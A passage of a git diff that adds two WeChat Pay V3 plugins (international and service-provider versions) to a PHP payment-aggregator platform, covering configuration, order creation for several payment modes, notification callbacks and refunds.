'CANCELLED'){ + $status = 2; + $errmsg = '转账已撤销'; + } + if(isset($status)){ + processTransfer($data['out_bill_no'], $status, $errmsg); + } + + $client->replyNotify(true); + } + + //投诉通知回调 + static public function complainnotify(){ + global $channel; + + $wechatpay_config = require(PAY_ROOT.'inc/config.php'); + try{ + $client = new \WeChatPay\V3\BaseService($wechatpay_config); + $data = $client->notify(); + } catch (Exception $e) { + $client->replyNotify(false, $e->getMessage()); + exit; + } + + $model = \lib\Complain\CommUtil::getModel($channel); + $model->refreshNewInfo($data['complaint_id'], $data['action_type']); + + $client->replyNotify(true); + } +} \ No newline at end of file diff --git a/plugins/wxpayng/inc/config.php b/plugins/wxpayng/inc/config.php new file mode 100644 index 0000000..a1d57a4 --- /dev/null +++ b/plugins/wxpayng/inc/config.php @@ -0,0 +1,35 @@ + $channel['appid'], + + //商户号 + 'mchid' => $channel['appmchid'], + + //APIv3密钥 + 'apikey' => $channel['appsecret'], + + //「商户API私钥」文件路径 + 'merchantPrivateKeyFilePath' => PLUGIN_ROOT.$channel['plugin'].'/cert/apiclient_key.pem', + + //「商户API证书」的「证书序列号」 + 'merchantCertificateSerial' => $channel['appkey'], + + //「微信支付平台证书」文件路径 + 'platformCertificateFilePath' => PLUGIN_ROOT.$channel['plugin'].'/cert/pub_key.pem', + + //微信支付平台公钥ID + 'platformCertificateSerial' => $channel['publickeyid'], + + //是否国际版商户 + 'isGlobal' => true, +]; + +if(file_exists(PLUGIN_ROOT.$channel['plugin'].'/cert/'.$channel['appmchid'].'/apiclient_key.pem')){ + $wechatpay_config['merchantPrivateKeyFilePath'] = PLUGIN_ROOT.$channel['plugin'].'/cert/'.$channel['appmchid'].'/apiclient_key.pem'; + $wechatpay_config['platformCertificateFilePath'] = PLUGIN_ROOT.$channel['plugin'].'/cert/'.$channel['appmchid'].'/pub_key.pem'; +} + +return $wechatpay_config; \ No newline at end of file diff --git a/plugins/wxpayng/wxpayng_plugin.php b/plugins/wxpayng/wxpayng_plugin.php new file mode 100644 index 0000000..6446a83 --- /dev/null +++ b/plugins/wxpayng/wxpayng_plugin.php @@ -0,0 +1,513 @@ + 'wxpayng', //支付插件英文名称,需和目录名称一致,不能有重复 + 'showname' => '微信支付国际版V3', //支付插件显示名称 + 'author' => '微信', //支付插件作者 + 'link' => 'https://pay.weixin.qq.com/', //支付插件作者链接 + 'types' => ['wxpay'], //支付插件支持的支付方式,可选的有alipay,qqpay,wxpay,bank + 'inputs' => [ //支付插件要求传入的参数以及参数显示名称,可选的有appid,appkey,appsecret,appurl,appmchid + 'appid' => [ + 'name' => '公众号或小程序APPID', + 'type' => 'input', + 'note' => '', + ], + 'appmchid' => [ + 'name' => '商户号', + 'type' => 'input', + 'note' => '', + ], + 'appsecret' => [ + 'name' => '商户APIv3密钥', + 'type' => 'input', + 'note' => '', + ], + 'appkey' => [ + 'name' => '商户API证书序列号', + 'type' => 'input', + 'note' => '', + ], + 'publickeyid' => [ + 'name' => '微信支付公钥ID', + 'type' => 'input', + 'note' => '平台证书模式可留空', + ], + 'appurl' => [ + 'name' => '商户行业编码', + 'type' => 'input', + 'note' => '', + ], + ], + 'select' => [ //选择已开启的支付方式 + '1' => 'Native支付', + '2' => 'JSAPI支付', + '3' => 'H5支付', + '5' => 'APP支付', + ], + 'note' => '

    请将商户API私钥“apiclient_key.pem”、微信支付平台公钥“pub_key.pem”放到 /plugins/wxpayng/cert/ 文件夹内(或 /plugins/wxpayng/cert/商户号/ 文件夹内)。

    上方APPID填写公众号或小程序的皆可,需要在微信支付后台关联对应的公众号或小程序才能使用。无认证的公众号或小程序无法发起支付!

    商户行业编码表

    ', //支付密钥填写说明 + 'bindwxmp' => true, //是否支持绑定微信公众号 + 'bindwxa' => true, //是否支持绑定微信小程序 + ]; + + static public function submit(){ + global $siteurl, $channel, $order, $ordername, $sitename, $submit2, $conf; + + $urlpre = '/'; + if (!empty($conf['localurl_wxpay']) && !strpos($conf['localurl_wxpay'], $_SERVER['HTTP_HOST'])) { + $urlpre = $conf['localurl_wxpay']; + } + + if(checkwechat()){ + if(in_array('2',$channel['apptype']) && $channel['appwxmp']>0){ + return ['type'=>'jump','url'=>$urlpre.'pay/jspay/'.TRADE_NO.'/?d=1']; + }elseif(in_array('2',$channel['apptype']) && $channel['appwxa']>0){ + return ['type'=>'jump','url'=>$urlpre.'pay/wap/'.TRADE_NO.'/']; + }elseif(in_array('1',$channel['apptype']) && $conf['wework_payopen'] == 1){ + return ['type'=>'jump','url'=>'/pay/qrcode/'.TRADE_NO.'/']; + }else{ + if(!$submit2){ + return ['type'=>'jump','url'=>'/pay/submit/'.TRADE_NO.'/']; + } + return ['type'=>'page','page'=>'wxopen']; + } + }elseif(checkmobile()){ + if(in_array('3',$channel['apptype'])){ + return ['type'=>'jump','url'=>$urlpre.'pay/h5/'.TRADE_NO.'/']; + }elseif(in_array('5',$channel['apptype']) && strpos($_SERVER['HTTP_USER_AGENT'], 'iPhone OS')!==false){ + return ['type'=>'jump','url'=>$urlpre.'pay/apppay/'.TRADE_NO.'/']; + }elseif(in_array('2',$channel['apptype']) && ($channel['appwxmp']>0 || $channel['appwxa']>0)){ + return ['type'=>'jump','url'=>$urlpre.'pay/wap/'.TRADE_NO.'/']; + }else{ + return ['type'=>'jump','url'=>'/pay/qrcode/'.TRADE_NO.'/']; + } + }else{ + return ['type'=>'jump','url'=>'/pay/qrcode/'.TRADE_NO.'/']; + } + } + + static public function mapi(){ + global $siteurl, $channel, $order, $conf, $device, $mdevice, $method; + + $urlpre = $siteurl; + if (!empty($conf['localurl_wxpay']) && !strpos($conf['localurl_wxpay'], $_SERVER['HTTP_HOST'])) { + $urlpre = $conf['localurl_wxpay']; + } + + if($method == 'applet' && in_array('2',$channel['apptype'])){ + return self::applet(); + }elseif($method=='app'){ + return self::apppay(); + }elseif($method=='jsapi'){ + return self::jspay(); + }elseif($method=='scan'){ + return self::scanpay(); + } + elseif($mdevice=='wechat'){ + if(in_array('2',$channel['apptype']) && $channel['appwxmp']>0){ + return ['type'=>'jump','url'=>$urlpre.'pay/jspay/'.TRADE_NO.'/?d=1']; + }elseif(in_array('2',$channel['apptype']) && $channel['appwxa']>0){ + return self::wap(); + }else{ + return ['type'=>'jump','url'=>$siteurl.'pay/submit/'.TRADE_NO.'/']; + } + }elseif($device=='mobile'){ + if(in_array('5',$channel['apptype']) && $mdevice == 'app'){ + return self::apppay(); + }elseif(in_array('3',$channel['apptype'])){ + return ['type'=>'jump','url'=>$urlpre.'pay/h5/'.TRADE_NO.'/']; + }elseif(in_array('5',$channel['apptype'])){ + return ['type'=>'jump','url'=>$urlpre.'pay/submit/'.TRADE_NO.'/']; + }elseif(in_array('2',$channel['apptype']) && ($channel['appwxmp']>0 || $channel['appwxa']>0)){ + return self::wap(); + }else{ + return self::qrcode(); + } + }else{ + return self::qrcode(); + } + } + + //扫码支付 + static public function qrcode(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + if(in_array('1',$channel['apptype'])){ + + $param = [ + 'description' => $ordername, + 'out_trade_no' => TRADE_NO, + 'notify_url' => $conf['localurl'].'pay/notify/'.TRADE_NO.'/', + 'merchant_category_code' => $channel['appurl'], + 'amount' => [ + 'total' => intval(round($order['realmoney']*100)), + 'currency' => 'CNY' + ], + 'scene_info' => [ + 'payer_client_ip' => $clientip + ] + ]; + + $wechatpay_config = require(PAY_ROOT.'inc/config.php'); + try{ + $client = new \WeChatPay\V3\GlobalPaymentService($wechatpay_config); + $result = $client->nativePay($param); + $code_url = $result['code_url']; + } catch (Exception $e) { + return ['type'=>'error','msg'=>'微信支付下单失败!'.$e->getMessage()]; + } + + }elseif(in_array('2',$channel['apptype']) && $channel['appwxmp']>0){ + $code_url = $siteurl.'pay/jspay/'.TRADE_NO.'/'; + }elseif(in_array('2',$channel['apptype']) && $channel['appwxa']>0){ + $code_url = $siteurl.'pay/wap/'.TRADE_NO.'/'; + }else{ + return ['type'=>'error','msg'=>'当前支付通道没有开启的支付方式']; + } + return ['type'=>'qrcode','page'=>'wxpay_qrcode','url'=>$code_url]; + } + + //JS支付 + static public function jspay(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip, $method; + + if(!empty($order['sub_openid'])){ + if(!empty($order['sub_appid'])){ + $channel['appid'] = $order['sub_appid']; + }else{ + $wxinfo = \lib\Channel::getWeixin($channel['appwxmp']); + if(!$wxinfo) return ['type'=>'error','msg'=>'支付通道绑定的微信公众号不存在']; + $channel['appid'] = $wxinfo['appid']; + } + $openid = $order['sub_openid']; + }else{ + $wxinfo = \lib\Channel::getWeixin($channel['appwxmp']); + if(!$wxinfo) return ['type'=>'error','msg'=>'支付通道绑定的微信公众号不存在']; + $channel['appid'] = $wxinfo['appid']; + + //①、获取用户openid + try{ + $tools = new \WeChatPay\JsApiTool($wxinfo['appid'], $wxinfo['appsecret']); + $openid = $tools->GetOpenid(); + }catch(Exception $e){ + return ['type'=>'error','msg'=>$e->getMessage()]; + } + } + + $blocks = checkBlockUser($openid, TRADE_NO); + if($blocks) return $blocks; + + //②、统一下单 + $param = [ + 'description' => $ordername, + 'out_trade_no' => TRADE_NO, + 'notify_url' => $conf['localurl'].'pay/notify/'.TRADE_NO.'/', + 'merchant_category_code' => $channel['appurl'], + 'amount' => [ + 'total' => intval(round($order['realmoney']*100)), + 'currency' => 'CNY' + ], + 'payer' => [ + 'openid' => $openid + ], + 'scene_info' => [ + 'payer_client_ip' => $clientip + ] + ]; + + $wechatpay_config = require(PAY_ROOT.'inc/config.php'); + try{ + $client = new \WeChatPay\V3\GlobalPaymentService($wechatpay_config); + $result = $client->jsapiPay($param); + $jsApiParameters = json_encode($result); + } catch (Exception $e) { + return ['type'=>'error','msg'=>'微信支付下单失败!'.$e->getMessage()]; + } + if($method == 'jsapi'){ + return ['type'=>'jsapi','data'=>$result]; + } + + if($_GET['d']=='1'){ + $redirect_url='data.backurl'; + }else{ + $redirect_url='\'/pay/ok/'.TRADE_NO.'/\''; + } + return ['type'=>'page','page'=>'wxpay_jspay','data'=>['jsApiParameters'=>$jsApiParameters, 'redirect_url'=>$redirect_url]]; + } + + //手机支付 + static public function wap(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + if($channel['appwxa']>0 && !isset($_GET['qrcode'])){ + try{ + $wxinfo = \lib\Channel::getWeixin($channel['appwxa']); + if(!$wxinfo)return ['type'=>'error','msg'=>'支付通道绑定的微信小程序不存在']; + $code_url = wxminipay_jump_scheme($wxinfo['id'], TRADE_NO); + }catch(Exception $e){ + return ['type'=>'error','msg'=>$e->getMessage()]; + } + return ['type'=>'scheme','page'=>'wxpay_mini','url'=>$code_url]; + }else{ + $code_url = $siteurl.'pay/jspay/'.TRADE_NO.'/'; + return ['type'=>'qrcode','page'=>'wxpay_wap','url'=>$code_url]; + } + } + + //H5支付 + static public function h5(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + $param = [ + 'description' => $ordername, + 'out_trade_no' => TRADE_NO, + 'notify_url' => $conf['localurl'].'pay/notify/'.TRADE_NO.'/', + 'merchant_category_code' => $channel['appurl'], + 'amount' => [ + 'total' => intval(round($order['realmoney']*100)), + 'currency' => 'CNY' + ], + 'scene_info' => [ + 'payer_client_ip' => $clientip, + 'store_info' => [ + 'name' => $conf['sitename'], + 'address' => $siteurl, + ], + ] + ]; + + $wechatpay_config = require(PAY_ROOT.'inc/config.php'); + try{ + $client = new \WeChatPay\V3\GlobalPaymentService($wechatpay_config); + $result = $client->h5Pay($param); + $redirect_url=$siteurl.'pay/return/'.TRADE_NO.'/'; + $url=$result['mweb_url'].'&redirect_url='.urlencode($redirect_url); + return ['type'=>'jump','url'=>$url]; + } catch (Exception $e) { + return ['type'=>'error','msg'=>'微信支付下单失败!'.$e->getMessage()]; + } + } + + //小程序支付 + static public function wxminipay(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + $code = isset($_GET['code'])?trim($_GET['code']):exit('{"code":-1,"msg":"code不能为空"}'); + + $wxinfo = \lib\Channel::getWeixin($channel['appwxa']); + if(!$wxinfo)exit('{"code":-1,"msg":"支付通道绑定的微信小程序不存在"}'); + $channel['appid'] = $wxinfo['appid']; + + //①、获取用户openid + try{ + $tools = new \WeChatPay\JsApiTool($wxinfo['appid'], $wxinfo['appsecret']); + $openid = $tools->AppGetOpenid($code); + }catch(Exception $e){ + exit('{"code":-1,"msg":"'.$e->getMessage().'"}'); + } + $blocks = checkBlockUser($openid, TRADE_NO); + if($blocks)exit('{"code":-1,"msg":"'.$blocks['msg'].'"}'); + + //②、统一下单 + $param = [ + 'description' => $ordername, + 'out_trade_no' => TRADE_NO, + 'notify_url' => $conf['localurl'].'pay/notify/'.TRADE_NO.'/', + 'merchant_category_code' => $channel['appurl'], + 'amount' => [ + 'total' => intval(round($order['realmoney']*100)), + 'currency' => 'CNY' + ], + 'payer' => [ + 'openid' => $openid + ], + 'scene_info' => [ + 'payer_client_ip' => $clientip + ] + ]; + + $wechatpay_config = require(PAY_ROOT.'inc/config.php'); + try{ + $client = new \WeChatPay\V3\GlobalPaymentService($wechatpay_config); + $jsApiParameters = $client->jsapiPay($param); + exit(json_encode(['code'=>0, 'data'=>$jsApiParameters])); + } catch (Exception $e) { + exit(json_encode(['code'=>-1, 'msg'=>'微信支付下单失败!'.$e->getMessage()])); + } + } + + //APP支付 + static public function apppay(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip, $method; + + $param = [ + 'description' => $ordername, + 'out_trade_no' => TRADE_NO, + 'notify_url' => $conf['localurl'].'pay/notify/'.TRADE_NO.'/', + 'merchant_category_code' => $channel['appurl'], + 'amount' => [ + 'total' => intval(round($order['realmoney']*100)), + 'currency' => 'CNY' + ], + 'scene_info' => [ + 'payer_client_ip' => $clientip + ] + ]; + + $wechatpay_config = require(PAY_ROOT.'inc/config.php'); + try{ + $client = new \WeChatPay\V3\GlobalPaymentService($wechatpay_config); + $result = $client->appPay($param); + if($method == 'app'){ + return ['type'=>'app','data'=>$result]; + } + $params = [ + 'nonceStr' => $result['noncestr'], + 'package' => $result['package'], + 'partnerId' => $result['partnerid'], + 'prepayId' => $result['prepayid'], + 'timeStamp' => $result['timestamp'], + 'sign' => $result['sign'], + ]; + $code_url = 'weixin://app/'.$result['appid'].'/pay/?'.http_build_query($params); + return ['type'=>'qrcode','page'=>'wxpay_h5','url'=>$code_url]; + }catch(Exception $e){ + return ['type'=>'error','msg'=>'微信支付下单失败!'.$e->getMessage()]; + } + } + + //付款码支付 + static public function scanpay(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + $params = [ + 'description' => $ordername, + 'out_trade_no' => TRADE_NO, + 'merchant_category_code' => $channel['appurl'], + 'payer' => [ + 'auth_code' => $order['auth_code'] + ], + 'amount' => [ + 'total' => intval(round($order['realmoney']*100)), + 'currency' => 'CNY' + ], + 'scene_info' => [ + 'payer_client_ip' => $clientip + ] + ]; + $wechatpay_config = require(PAY_ROOT.'inc/config.php'); + $client = new \WeChatPay\V3\GlobalPaymentService($wechatpay_config); + try{ + $result = $client->microPay($params); + if($result['trade_state'] == 'SUCCESS'){ + processNotify($order, $result['id'], $result['payer']['openid']); + return ['type'=>'scan','data'=>['type'=>$order['typename'], 'trade_no'=>$result['out_trade_no'], 'api_trade_no'=>$result['id'], 'buyer'=>$result['payer']['openid'], 'money'=>strval(round($result['amount']['total']/100, 2))]]; + }elseif($result['trade_state'] == 'USERPAYING'){ + sleep(2); + $retry = 0; + $success = false; + while($retry < 6){ + sleep(3); + try{ + $result = $client->orderQuery(null, TRADE_NO); + }catch(Exception $e){ + return ['type'=>'error','msg'=>'微信支付失败!订单查询失败:'.$e->getMessage()]; + } + if($result['trade_state'] == 'SUCCESS'){ + $success = true; + break; + }elseif($result['trade_state'] != 'USERPAYING'){ + return ['type'=>'error','msg'=>'微信支付失败!'.$result['trade_state_desc']]; + } + $retry++; + } + if($success){ + processNotify($order, $result['id'], $result['payer']['openid']); + return ['type'=>'scan','data'=>['type'=>$order['typename'], 'trade_no'=>$result['out_trade_no'], 'api_trade_no'=>$result['id'], 'buyer'=>$result['payer']['openid'], 'money'=>strval(round($result['amount']['total']/100, 2))]]; + }else{ + try{ + $client->reverseOrder(TRADE_NO); + }catch(Exception $e){ + } + return ['type'=>'error','msg'=>'微信支付失败!订单已超时']; + } + }else{ + return ['type'=>'error','msg'=>'微信支付失败!'.$result['trade_state_desc']]; + } + }catch(Exception $e){ + return ['type'=>'error','msg'=>'微信支付下单失败!'.$e->getMessage()]; + } + } + + //小程序跳转支付 + static public function applet(){ + global $channel; + try{ + $wxinfo = \lib\Channel::getWeixin($channel['appwxa']); + if(!$wxinfo)return ['type'=>'error','msg'=>'支付通道绑定的微信小程序不存在']; + $path = wxminipay_jump_path(TRADE_NO); + }catch(Exception $e){ + return ['type'=>'error','msg'=>$e->getMessage()]; + } + return ['type'=>'wxapp','data'=>['appId'=>$wxinfo['appid'], 'miniProgramId'=>'', 'path'=>$path]]; + } + + //支付成功页面 + static public function ok(){ + return ['type'=>'page','page'=>'ok']; + } + + //支付返回页面 + static public function return(){ + return ['type'=>'page','page'=>'return']; + } + + //异步回调 + static public function notify(){ + global $channel, $order; + + $wechatpay_config = require(PAY_ROOT.'inc/config.php'); + try{ + $client = new \WeChatPay\V3\GlobalPaymentService($wechatpay_config); + $data = $client->notify(); + } catch (Exception $e) { + $client->replyNotify(false, $e->getMessage()); + exit; + } + + if ($data['trade_state'] == 'SUCCESS') { + if($data['out_trade_no'] == TRADE_NO){ + processNotify($order, $data['id'], $data['payer']['openid']); + } + } + $client->replyNotify(true); + } + + //退款 + static public function refund($order){ + global $channel; + if(empty($order))exit(); + + $param = [ + 'transaction_id' => $order['api_trade_no'], + 'out_refund_no' => $order['refund_no'], + 'amount' => [ + 'refund' => intval(round($order['refundmoney']*100)), + 'total' => intval(round($order['realmoney']*100)), + 'currency' => 'CNY' + ] + ]; + + $wechatpay_config = require(PAY_ROOT.'inc/config.php'); + try{ + $client = new \WeChatPay\V3\GlobalPaymentService($wechatpay_config); + $result = $client->refund($param); + $result = ['code'=>0, 'trade_no'=>$result['out_trade_no'], 'refund_fee'=>$result['amount']['refund']]; + } catch (Exception $e) { + $result = ['code'=>-1, 'msg'=>$e->getMessage()]; + } + return $result; + } + +} \ No newline at end of file diff --git a/plugins/wxpaynp/inc/config.php b/plugins/wxpaynp/inc/config.php new file mode 100644 index 0000000..6405189 --- /dev/null +++ b/plugins/wxpaynp/inc/config.php @@ -0,0 +1,41 @@ + $channel['appid'], + + //商户号 + 'mchid' => $channel['appmchid'], + + //子商户应用ID(可留空) + 'sub_appid' => isset($channel['sub_appid']) ? $channel['sub_appid'] : '', + + //子商户号 + 'sub_mchid' => $channel['appurl'], + + //APIv3密钥 + 'apikey' => $channel['appsecret'], + + //「商户API私钥」文件路径 + 'merchantPrivateKeyFilePath' => PLUGIN_ROOT.$channel['plugin'].'/cert/apiclient_key.pem', + + //「商户API证书」的「证书序列号」 + 'merchantCertificateSerial' => $channel['appkey'], + + //「微信支付平台证书」文件路径 + 'platformCertificateFilePath' => PLUGIN_ROOT.$channel['plugin'].'/cert/pub_key.pem', + + //微信支付平台公钥ID + 'platformCertificateSerial' => $channel['publickeyid'], + + //是否电商收付通 + 'ecommerce' => $channel['appswitch'] == '1', +]; + +if(file_exists(PLUGIN_ROOT.$channel['plugin'].'/cert/'.$channel['appmchid'].'/apiclient_key.pem')){ + $wechatpay_config['merchantPrivateKeyFilePath'] = PLUGIN_ROOT.$channel['plugin'].'/cert/'.$channel['appmchid'].'/apiclient_key.pem'; + $wechatpay_config['platformCertificateFilePath'] = PLUGIN_ROOT.$channel['plugin'].'/cert/'.$channel['appmchid'].'/pub_key.pem'; +} + +return $wechatpay_config; \ No newline at end of file diff --git a/plugins/wxpaynp/wxpaynp_plugin.php b/plugins/wxpaynp/wxpaynp_plugin.php new file mode 100644 index 0000000..9682864 --- /dev/null +++ b/plugins/wxpaynp/wxpaynp_plugin.php @@ -0,0 +1,664 @@ + 'wxpaynp', //支付插件英文名称,需和目录名称一致,不能有重复 + 'showname' => '微信官方支付V3服务商版', //支付插件显示名称 + 'author' => '微信', //支付插件作者 + 'link' => 'https://pay.weixin.qq.com/partner/public/home', //支付插件作者链接 + 'types' => ['wxpay'], //支付插件支持的支付方式,可选的有alipay,qqpay,wxpay,bank + 'inputs' => [ //支付插件要求传入的参数以及参数显示名称,可选的有appid,appkey,appsecret,appurl,appmchid + 'appid' => [ + 'name' => '服务号/小程序/开放平台AppID', + 'type' => 'input', + 'note' => '', + ], + 'appmchid' => [ + 'name' => '服务商商户号', + 'type' => 'input', + 'note' => '', + ], + 'appsecret' => [ + 'name' => '商户APIv3密钥', + 'type' => 'input', + 'note' => '', + ], + 'appkey' => [ + 'name' => '商户API证书序列号', + 'type' => 'input', + 'note' => '', + ], + 'publickeyid' => [ + 'name' => '微信支付公钥ID', + 'type' => 'input', + 'note' => '平台证书模式可留空', + ], + 'appurl' => [ + 'name' => '子商户号', + 'type' => 'input', + 'note' => '', + ], + 'appswitch' => [ + 'name' => '服务商类型', + 'type' => 'select', + 'options' => [0=>'普通服务商',1=>'平台收付通'], + ], + ], + 'select' => [ //选择已开启的支付方式 + '1' => 'Native支付', + '2' => 'JSAPI支付', + '3' => 'H5支付', + '5' => 'APP支付', + ], + 'note' => '

    请将商户API私钥“apiclient_key.pem”、微信支付平台公钥“pub_key.pem”放到 /plugins/wxpaynp/cert/ 文件夹内(或 /plugins/wxpaynp/cert/商户号/ 文件夹内)。

    上方AppID填写已认证的服务号/小程序/开放平台应用皆可,需要在微信支付后台关联对应的AppID账号才能使用。

    点金计划商家小票链接(用于公众号支付跳转回网站):[siteurl]gold.php

    ', //支付密钥填写说明 + 'bindwxmp' => true, //是否支持绑定微信公众号 + 'bindwxa' => true, //是否支持绑定微信小程序 + ]; + + static public function submit(){ + global $siteurl, $channel, $order, $ordername, $sitename, $submit2, $conf; + + $urlpre = '/'; + if (!empty($conf['localurl_wxpay']) && !strpos($conf['localurl_wxpay'], $_SERVER['HTTP_HOST'])) { + $urlpre = $conf['localurl_wxpay']; + } + + if(checkwechat()){ + if(in_array('2',$channel['apptype']) && $channel['appwxmp']>0){ + return ['type'=>'jump','url'=>$urlpre.'pay/jspay/'.TRADE_NO.'/?d=1']; + }elseif(in_array('2',$channel['apptype']) && $channel['appwxa']>0){ + return ['type'=>'jump','url'=>$urlpre.'pay/wap/'.TRADE_NO.'/']; + }elseif(in_array('1',$channel['apptype']) && $conf['wework_payopen'] == 1){ + return ['type'=>'jump','url'=>'/pay/qrcode/'.TRADE_NO.'/']; + }else{ + if(!$submit2){ + return ['type'=>'jump','url'=>'/pay/submit/'.TRADE_NO.'/']; + } + return ['type'=>'page','page'=>'wxopen']; + } + }elseif(checkmobile()){ + if(in_array('3',$channel['apptype'])){ + return ['type'=>'jump','url'=>$urlpre.'pay/h5/'.TRADE_NO.'/']; + }elseif(in_array('5',$channel['apptype']) && strpos($_SERVER['HTTP_USER_AGENT'], 'iPhone OS')!==false){ + return ['type'=>'jump','url'=>$urlpre.'pay/apppay/'.TRADE_NO.'/']; + }elseif(in_array('2',$channel['apptype']) && ($channel['appwxmp']>0 || $channel['appwxa']>0)){ + return ['type'=>'jump','url'=>$urlpre.'pay/wap/'.TRADE_NO.'/']; + }else{ + return ['type'=>'jump','url'=>'/pay/qrcode/'.TRADE_NO.'/']; + } + }else{ + return ['type'=>'jump','url'=>'/pay/qrcode/'.TRADE_NO.'/']; + } + } + + static public function mapi(){ + global $siteurl, $channel, $order, $conf, $device, $mdevice, $method; + + $urlpre = $siteurl; + if (!empty($conf['localurl_wxpay']) && !strpos($conf['localurl_wxpay'], $_SERVER['HTTP_HOST'])) { + $urlpre = $conf['localurl_wxpay']; + } + + if($method == 'applet' && in_array('2',$channel['apptype'])){ + return self::applet(); + }elseif($method=='app'){ + return self::apppay(); + }elseif($method=='jsapi'){ + return self::jspay(); + }elseif($method=='scan'){ + return ['type'=>'error','msg'=>'当前支付通道不支持付款码支付']; + } + elseif($mdevice=='wechat'){ + if(in_array('2',$channel['apptype']) && $channel['appwxmp']>0){ + return ['type'=>'jump','url'=>$urlpre.'pay/jspay/'.TRADE_NO.'/?d=1']; + }elseif(in_array('2',$channel['apptype']) && $channel['appwxa']>0){ + return self::wap(); + }else{ + return ['type'=>'jump','url'=>$siteurl.'pay/submit/'.TRADE_NO.'/']; + } + }elseif($device=='mobile'){ + if(in_array('5',$channel['apptype']) && $mdevice == 'app'){ + return self::apppay(); + }elseif(in_array('3',$channel['apptype'])){ + return ['type'=>'jump','url'=>$urlpre.'pay/h5/'.TRADE_NO.'/']; + }elseif(in_array('5',$channel['apptype'])){ + return ['type'=>'jump','url'=>$urlpre.'pay/submit/'.TRADE_NO.'/']; + }elseif(in_array('2',$channel['apptype']) && ($channel['appwxmp']>0 || $channel['appwxa']>0)){ + return self::wap(); + }else{ + return self::qrcode(); + } + }else{ + return self::qrcode(); + } + } + + //扫码支付 + static public function qrcode(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + if(in_array('1',$channel['apptype'])){ + + $param = [ + 'description' => $ordername, + 'out_trade_no' => TRADE_NO, + 'notify_url' => $conf['localurl'].'pay/notify/'.TRADE_NO.'/', + 'amount' => [ + 'total' => intval(round($order['realmoney']*100)), + 'currency' => 'CNY' + ], + 'scene_info' => [ + 'payer_client_ip' => $clientip + ] + ]; + if($order['profits']>0 || $conf['direct_settle_time'] == 1 && $channel['appswitch'] == 1){ + $param['settle_info'] = ['profit_sharing' => true]; + } + + $wechatpay_config = require(PAY_ROOT.'inc/config.php'); + try{ + $client = new \WeChatPay\V3\PartnerPaymentService($wechatpay_config); + $submoneys = combinepay_submoneys($param['amount']['total']); + if(!$submoneys){ + $result = $client->nativePay($param); + }else{ + $param = self::combineOrderParams($param, $submoneys, $sub_orders); + $result = $client->combineNativePay($param); + \lib\Payment::updateOrderCombine(TRADE_NO, $sub_orders); + } + $code_url = $result['code_url']; + } catch (Exception $e) { + return ['type'=>'error','msg'=>'微信支付下单失败!'.$e->getMessage()]; + } + + }elseif(in_array('2',$channel['apptype']) && $channel['appwxmp']>0){ + $code_url = $siteurl.'pay/jspay/'.TRADE_NO.'/'; + }elseif(in_array('2',$channel['apptype']) && $channel['appwxa']>0){ + $code_url = $siteurl.'pay/wap/'.TRADE_NO.'/'; + }else{ + return ['type'=>'error','msg'=>'当前支付通道没有开启的支付方式']; + } + return ['type'=>'qrcode','page'=>'wxpay_qrcode','url'=>$code_url]; + } + + //JS支付 + static public function jspay(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip, $method; + + if(!empty($order['sub_openid'])){ + if(!empty($order['sub_appid'])){ + $channel['sub_appid'] = $order['sub_appid']; + }else{ + $wxinfo = \lib\Channel::getWeixin($channel['appwxmp']); + if(!$wxinfo) return ['type'=>'error','msg'=>'支付通道绑定的微信公众号不存在']; + if($channel['subappwxmp']){ + $channel['sub_appid'] = $wxinfo['appid']; + }else{ + $channel['appid'] = $wxinfo['appid']; + } + } + $openid = $order['sub_openid']; + }else{ + $wxinfo = \lib\Channel::getWeixin($channel['appwxmp']); + if(!$wxinfo) return ['type'=>'error','msg'=>'支付通道绑定的微信公众号不存在']; + if($channel['subappwxmp']){ + $channel['sub_appid'] = $wxinfo['appid']; + }else{ + $channel['appid'] = $wxinfo['appid']; + } + + //①、获取用户openid + try{ + $tools = new \WeChatPay\JsApiTool($wxinfo['appid'], $wxinfo['appsecret']); + $openid = $tools->GetOpenid(); + }catch(Exception $e){ + return ['type'=>'error','msg'=>$e->getMessage()]; + } + } + + $blocks = checkBlockUser($openid, TRADE_NO); + if($blocks) return $blocks; + + //②、统一下单 + $param = [ + 'description' => $ordername, + 'out_trade_no' => TRADE_NO, + 'notify_url' => $conf['localurl'].'pay/notify/'.TRADE_NO.'/', + 'amount' => [ + 'total' => intval(round($order['realmoney']*100)), + 'currency' => 'CNY' + ], + 'payer' => [ + 'sp_openid' => $openid + ], + 'scene_info' => [ + 'payer_client_ip' => $clientip + ] + ]; + if($order['profits']>0 || $conf['direct_settle_time'] == 1 && $channel['appswitch'] == 1){ + $param['settle_info'] = ['profit_sharing' => true]; + } + if($channel['sub_appid']){ + $param['payer']['sub_openid'] = $openid; + unset($param['payer']['sp_openid']); + } + + $wechatpay_config = require(PAY_ROOT.'inc/config.php'); + try{ + $client = new \WeChatPay\V3\PartnerPaymentService($wechatpay_config); + $submoneys = combinepay_submoneys($param['amount']['total']); + if(!$submoneys){ + $result = $client->jsapiPay($param); + }else{ + $param = self::combineOrderParams($param, $submoneys, $sub_orders); + $result = $client->combineJsapiPay($param); + \lib\Payment::updateOrderCombine(TRADE_NO, $sub_orders); + } + $jsApiParameters = json_encode($result); + } catch (Exception $e) { + return ['type'=>'error','msg'=>'微信支付下单失败!'.$e->getMessage()]; + } + if($method == 'jsapi'){ + return ['type'=>'jsapi','data'=>$result]; + } + + if($_GET['d']=='1'){ + $redirect_url='data.backurl'; + }else{ + $redirect_url='\'/pay/ok/'.TRADE_NO.'/\''; + } + return ['type'=>'page','page'=>'wxpay_jspay','data'=>['jsApiParameters'=>$jsApiParameters, 'redirect_url'=>$redirect_url]]; + } + + //手机支付 + static public function wap(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + if($channel['appwxa']>0 && !isset($_GET['qrcode'])){ + try{ + $wxinfo = \lib\Channel::getWeixin($channel['appwxa']); + if(!$wxinfo)return ['type'=>'error','msg'=>'支付通道绑定的微信小程序不存在']; + $code_url = wxminipay_jump_scheme($wxinfo['id'], TRADE_NO); + }catch(Exception $e){ + return ['type'=>'error','msg'=>$e->getMessage()]; + } + return 